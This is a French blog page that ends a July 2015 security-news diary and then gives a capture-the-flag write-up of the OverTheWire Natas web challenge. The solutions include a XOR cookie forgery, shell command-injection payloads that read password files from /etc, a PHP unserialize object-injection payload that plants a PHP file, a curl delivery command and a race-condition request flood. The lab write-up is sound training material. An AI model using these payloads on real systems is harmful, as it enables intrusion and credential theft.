Et dans un autre monde et comme en écho à la fermeture du programme d'acquisition Netragard du 17 juillet, le fondateur de VUPEN lance un nouveau programme d'acquisition "Zerodium" alors que Google publie un excellent article " Top five security practices: experts vs. non-experts ".

Vendredi. Publication par le CERT-FR d'un avertissement concernant une escalade de privilège root locale pour OSX 10.10 (DYLD_PRINT_TO_FILE) publiée par S. Esser (@i0n1c), rédigée par ses soins le 7 juillet et publiée ouvertement le 21 juillet (coucou John) avec un message supplémentaire le 23 juillet indiquant qu'un correctif publié par Apple un mois avant pour OSX 10.11 n'est pas planifié pour OSX 10.10.

Dernier week-end de Juillet. Rien de magique, pas de fin du monde. Quelques correctifs OpenJDK7 de Debian le 25 juillet pour le CPU Oracle de ce mois, quelques correctifs OpenBSD (Reliability et Security) et une nouvelle version de pfSense le 26 juillet.

Cinquième semaine - la fin justifie les moyens ..


Mardi 28 juillet. Publication d'un nouveau correctif pour Bind9 (AA-01272, CVE-2015-5477 identifié semble-t-il gràce à l'AFL de @lcamtuf) et des bulletins éditeurs dans la foulée avec Debian, Ubuntu, RedHat et FreeBSD (qui en profite pour publier d'autres correctifs) puis .. bon .. Android .. Zimperium .. StageFright .. VU#924951 .. "Block all text messages from unknown senders" .. Pas de commentaire ..

Et, tweet intéressant de la part de @zerodium compte tenu du contexte ambiant "Google paid $1,337 for Android RCE via MMS aka Stagefright, we pay up to $100,000 for such exploits. We pay big bounties, not bug bounties!".

Jeudi. Correctifs Java1.6 pour RedHat sur RHEL5/6/7 pour le CPU Oracle de juillet et nouveau correctif OpenBSD pour finir le mois.

Vendredi. Publication de vulnérabilités multiples sur Symantec Endpoint Protection, confirmation de la part de BitDefender d'une intrusion avec fuite d'information et un post absolument magique compte tenu du climat de ce mois de juillet de la part de D. AITEL intitulé "Remember the Titans" sur la ML DailyDave. A lire absolument tout comme les réponses et commentaires l'accompagnant.

Et maintenant ?


Et maintenant je vous souhaite d'excellentes vacances :-)

PS : Merci @helpacsoout (votre compte twitter est bien silencieux !). Merci @helkhoury et @philoupas pour tous nos échanges ! Merci à ma @nathplanteur qui ne connecte même plus son twitter tellement elle progresse dans sa spécialisation apnée depuis quelques semaines :)

Jess - @JessicaGallante

dimanche 28 juin 2015

Challenge, petit florilège de vulnérabilités Web et Natas

Après les challenges Bandit (http://jessgallante.blogspot.fr/2015/06/le-gout-du-challenge-ou-ma-rencontre.html) et Leviathan (http://jessgallante.blogspot.fr/2015/06/challenge-ivresse-des-profondeurs-et.html) proposés par OverTheWire, je décide de me lancer dans la résolution du challenge Natas dont la thématique est ainsi résumée : "Natas teaches the basics of serverside web-security."

Ce challenge est constitué par 28 niveaux accessibles par le biais d'un (utilisateur, mot de passe) sur une url "http://natasX.natas.labs.overthewire.org" .. chacun des niveaux ayant pour objectif de démontrer l'exploitation d'une ou plusieurs vulnérabilités permettant d'obtenir le mot de passe du niveau suivant.

Je ne suis pas certaine de parvenir à résoudre toutes les énigmes. je décide donc de prendre mon temps et de rédiger ce carnet de voyage au fil de mes pérégrinations.


Mon premier jour avec Natas (20 juin 2015)

 

Les premiers niveaux de ce challenge sont simples si vous avez déjà rencontré les vulnérabilités qu'il convient d'exploiter (une grande majorité d'entre elles est par ailleurs représentative des typologies de vulnérabilités qu'il est possible de rencontrer lorsque les développements web ne font pas l'objet de revues de code orientées sécurité ou de conformité aux bonnes pratiques).

Les sept premiers niveaux nécessitent ainsi de comprendre l'indice fourni par OverTheWire et les niveaux suivants nécessitent de connaître les rudiments du langage PHP pour comprendre le code source de l'application distante et les vulnérabilités à exploiter.

Le niveau 8 nécessite un peu de script et m'a permis de découvrir une sandbox PHP tout à fait utile pour certaines épreuves de ce challenge : http://sandbox.onlinephpfunctions.com/.

Les niveaux 9 et 10 concernent l'exploitation de vulnérabilités de type RCE (enfin je crois), je me suis contentée d'aller lire le fichier de mot de passe du niveau suivant sans regarder plus avant ce qu'il était possible de faire.

Le niveau 11 m'a posé quelques difficultés. Il consiste à modifier un flag dans un cookie "protégé" par un XOR avec une "clé" que je ne connais pas (d'après ma lecture du code source) et n'ayant pas du tout envie d'apprendre à programmer en PHP, j'ai du résoudre ce challenge autrement.

Ma résolution du niveau 11 (spoiler)


Je commence donc par générer plusieurs valeurs pour ce cookie en soumettant le formulaire à ma disposition :
000000 : data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSRwh6QUcIaAw=
111111 : data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSRgl7QEYJaAw=
222222 : data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSRQp4Q0UKaAw=
Je transforme ce qui m'est retourné en chaine hexadécimale :
$ echo -n "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSRwh6QUcIaAw=" | base64 -D | xxd -ps -c 60
La variation du cookie semble se produire sur la fin du cookie :
0a554b221e00482b02044f2503131a70531957685d555a2d121854250355026852 47087a414708 680c
0a554b221e00482b02044f2503131a70531957685d555a2d121854250355026852 46097b404609 680c
0a554b221e00482b02044f2503131a70531957685d555a2d121854250355026852 450a7843450a 680c
.. et je sais qu'un XOR (ce site est génial : http://xor.pw/) de valeurs différentes avec la même clé peut permettre de retrouver la clé :
000000 ^ 47087a414708 => 77384a717738 (w8Jqw8)
111111 ^ 46097b404609 => 77384a717738 (w8Jqw8)
222222 ^ 450a7843450a => 77384a717738 (w8Jqw8)
La clé utilisée pour xor-er ma valeur source semble donc "77384a717738" soit "w8Jqw8". Je la réutilise donc pour déchiffrer mon premier cookie :
0a554b221e00482b02044f2503131a70531957685d555a2d121854250355026852 47087a414708 680c
71773877384a71773877384a71773877384a71773877384a71773877384a717738 77384a717738 7738
{ " s U & J 9 \ : s w o r d " k S &  e " b g c o l R ; s j       0 0 0 0 0 0 4
Cela ne semble pas fonctionner complètement. Comme si ma clé était incorrecte. Après plusieurs tentatives de décalages de celle-ci et la comparaison du résultat avec le code source (je m'attend en effet à obtenir l'accès aux variables "showpassword" fixée à "no" et "bgcolor" fixée à "000000") je comprend que ma clé une répétition du pattern "w8Jq" :
0a554b221e00482b02044f2503131a70531957685d555a2d121854250355026852 47087a414708 680c
7177384a7177384a7177384a7177384a7177384a7177384a7177384a7177384a71 77384a717738 4a71
{"showpassword":"no","bgcolor":"#000000"}
Il ne me reste plus qu'à générer la valeur du cookie avec la variable "showpassword" positionnée à "yes", à la transformer en base64 et à renvoyer ma requête avec le nouveau cookie :
$ echo -n "0a554b221e00482b02044f2503131a70530e5d39535b1a28161457261e051a705354087a4147087a530a" | xxd -ps -c 60 -r | base64

Mon second jour avec Natas (21 juin 2015)


Les niveaux 12 et 13 présentent des vulnérabilités relatives à l'upload de fichiers pour lesquelles les contrôles seraient insuffisants et entraineraient, de ce fait, une possibilité de RCE.

Le niveau 14 présente une vulnérabilité de type Injection SQL exploitable manuellement (coucou <3 #Darknet <3) alors que le niveau 15 m'a obligé a utiliser mon sqlmap après plusieurs tentatives manuelles sans succès.

Le niveau 16 m'a, quant à lui, fait assez tourné la tête pour que je ferme l'écran et me laisse bercer par un concert offert par les amis de nos voisins en cette belle fin de soirée du 21 juin.

J3 Natas16 et moi (24 juin 2015)

 

Après plusieurs jours à café-scuter de ce niveau et étant résolument contre toute tentative d'attaque par force brute, je finis par trouver une méthode peu conventionnelle mais néanmoins élégante de parvenir à mes fins pour le niveau 16 et reprend mon voyage dans le monde de Natas.

Le niveau 17 concerne à nouveau l'exploitation d'une vulnérabilité de type Injection SQL ("AND/OR time-based blind") qui m'a semblé durer des heures à cause d'une mauvaise connexion Internet.

Les niveaux 18 et 19 concernent l'exploitation de vulnérabilités liées à ce qui pourrait être une malencontreuse tentative pour ré-inventer le mécanisme des sessions PHP.

Le niveau 20 est particulièrement intéressant par la démonstration d'exploitation de multiples "faibles" vulnérabilités (injection de données non contrôlées en session, affichage de messages DEBUG).

Ma résolution du niveau 16 (mon niveau NATAS préféré) (spoiler)


Le niveau 16 est similaire aux niveaux 9 et 10 mais le filtrage par liste noire est bien moins permissif:
if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
La résolution de cette énigme est possible sans attaque par force brute par la méthode peu conventionnelle suivante :
  • Lecture caractère par caractère du fichier de mot de passe du niveau suivant et positionnement de ce caractère en première position de la recherche "grep" dans le dictionnaire : 
^$(cut -c 2 /etc/natas_webpass/natas17) > le 2nd caractère est un P ou un p
^$(cut -c 3 /etc/natas_webpass/natas17) > le 3ème caractère est un S ou un s
  • Vérification manuelle pour chaque caractère du mot de passe s'il est en majuscule ou en minuscule :
$(grep -E ^.P /etc/natas_webpass/natas17) > pas de résultat donc le 2ème caractère est un P
$(grep -E ^..S /etc/natas_webpass/natas17) > résultats donc le 3ème caractère est un s
Arrivée à cette étape, je me suis rendue compte que le dictionnaire ne contenait pas de chiffres et que cette méthode ne me permettait donc pas d'identifier la valeur des caractères numériques. Je me suis donc tournée vers une astuce liée aux expressions arithmétiques :
a\{2\} > (mots du dictionnaires composés de la double lettre "aa") est équivalente à
a\{$((11-9))\} qui est elle-même équivalente à
a\{$((11-$(cut -c 1 /etc/natas_webpass/natas17)))\} si le 1er caractère est "9" ou à
a\{$((10-$(cut -c 1 /etc/natas_webpass/natas17)))\} si le 1er caractère est 8 :-)

J4 Ma semaine avec Natas (26 juin 2015)

 

Fin de la semaine et me voici à nouveau prête, entre auditions et repas de famille, à résoudre de nouvelles énigmes (ou pas).

Le niveau 21 démontre la dangerosité de partage de sessions entre vhosts du même domaine.

Le niveau 22 démontre la dangerosité d'une directive header("Location: dont le mode de fonctionnement serait imparfaitement compris par les développeurs concernés.

Les niveaux 23 et 24 démontrent la dangerosité de certaines fonctions de comparaison de chaînes de caractères dont le mode de fonctionnement serait imparfaitement compris par les développeurs concernés.

Le niveau 25 présente à nouveau avec clarté ce "vulnerability chaining" qui permet d'associer plusieurs vulnérabilités de faible sévérité pour compromettre une application (filtrage incorrect, path traversal, log et user-agent injection).

J5 Un samedi à faire des dessins avec Natas (27 juin 2015)


Le niveau 26 est un cas typique d'exploitation d'une vulnérabilité de type "unserialize()" sur une valeur Cookie contrôlée par l'utilisateur pour réaliser une injection d'objet PHP via la méthode "__destruct()" d'une classe inutilisée (https://www.owasp.org/index.php/PHP_Object_Injection).

Ma résolution du niveau 26 (spoiler)


Tout simplement par la construction d'un objet PHP qui, interprété par la méthode "__destruct()" sus-mentionnée aura pour objectif de créer un fichier PHP dans un répertoire accessible en écriture pour me permettre par la suite d'accéder au fichier contenant le sésame tant désiré (ça c'est un plan diaboliquement crystal clear pour toi ma @nathplanteur :-)  )
$ cat jess.php
<?php
class Logger{
        private $logFile = "img/jess.php";
        private $exitMsg = "<?php echo 'ok'; include('/etc/natas_webpass/natas27'); ?>";
    }
$obj = new Logger();
echo serialize($obj);
?>

$ php jess.php > jess.cookie
$ cat jess.cookie
O:6:"Logger":2:{s:15:"LoggerlogFile";s:12:"img/jess.php";s:15:"LoggerexitMsg";s:58:"<?php echo 'ok'; include('/etc/natas_webpass/natas27'); ?>";}

$ curl 'http://natas26.natas.labs.overthewire.org/?x1=1&y1=2&x2=3&y2=4' -H 'Authorization: Basic [..]' -H 'Cookie: drawing='$(cat jess.cookie | base64 | tr -d '\n') -H 'Host: natas26.natas.labs.overthewire.org'
 

J6 Natas-(es)-cape (28 juin 2015)


Le niveau 27 est pour moi, après le niveau 16, le niveau le plus compliqué du challenge Natas et je n'ai pas été capable de le résoudre sans me copier localement le code PHP pour pouvoir ajouter des messages de debug.

Ma résolution du niveau 27 (spoiler)


Les conclusions que j'ai progressivement notées pour m'aider à résoudre ce niveau ont été les suivantes :
  • je peux ajouter un utilisateur s'il n'existe pas
  • je peux ajouter un utilisateur avec un mot de passe vide en passant un paramètre "$_REQUEST["password"]" de type "array()"
  • je peux ajouter un utilisateur avec un login vide et un mot de passe en passant un paramètre "$_REQUEST["username"]" de type "array()"
  • je peux ajouter un utilisateur avec un login vide et un mot de passe vide
  • si j'utilise un paramètre de type "array()", je peux contourner la fonction  "mysql_real_escape_string()"
Ceci ne m'a absolument pas aidée :-)  et je me suis donc résolue à copier le code PHP localement pour faire des tests complémentaires :
  • si deux comptes sont nommés de la même façon et que l'un des deux comptes a un mot de passe vide alors l'appel à l'application affiche le mot de passe de l'autre compte.
  • je ne peux pas contourner les filtrages en place pour créer un second compte "natas28" mais je sais que les comptes que j'ajoute sont supprimés toutes les 5 minutes par le commentaire ("morla / 10111 // database gets cleared every 5 min")
Je commence donc par requêter l'application toutes les secondes pendant 5 minutes pour identifier quand les comptes sont supprimés (*/5 tout simplement :-/) et teste à plusieurs reprises pendant les créneaux suivants un grand nombre de requêtes pour l'ajout d'un compte natas28 avec un mot de passe que je connais.
 
Et je finis par obtenir le sésame tant attendu sur la base de requêtes  transmises entre */5:00 et */5:01 en HTTP/1.1 avec pipelining grâce à un simple ctrl-v laissé appuyé dans un netcat (je pense que cela doit faire très Hollywood comme explication alors que ma façon de faire est totalement ridicule :-/) :
GET /?username=natas28&password=jess HTTP/1.1
Host: natas27.natas.labs.overthewire.org
Authorization: Basic [..]
GET /?username=natas28&password=jess HTTP/1.1
Host: natas27.natas.labs.overthewire.org
Authorization: Basic [..]

HTTP/1.1 200 OK
[..]
<h1>natas27</h1>
<div id="content">
User natas28 was created!<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
[..]

HTTP/1.1 200 OK
<h1>natas27</h1>
<div id="content">
Welcome natas28!<br>Here is your data:<br>Array
[..]


Conclusion


Le challenge Natas a pour moi été très intéressant en raison du florilège de vulnérabilités Web qu'il comporte : la résolution de ce challenge pourrait ainsi très certainement servir de base de travaux pratiques pour des séances de sensibilisation destinées aux développeurs Web.

L'évolution du niveau de complexité n'est néanmoins pas flagrante, certains niveaux intermédiaires doivent en effet être assez complexes à résoudre si le joueur n'a pas au préalable rencontré la famille de vulnérabilités concernée.

En conclusion Natas c'est 10 heures de jeu sur 6 jours, une folle envie de passer à un autre type de challenge et une profonde admiration pour tous les consultants et pentesters qui tentent de réaliser leur travail sans savoir si l'application, le système, l'architecture ou que-sais-je-encore qu'ils ciblent est vulnérable ou non ..

Jess - @JessicaGallante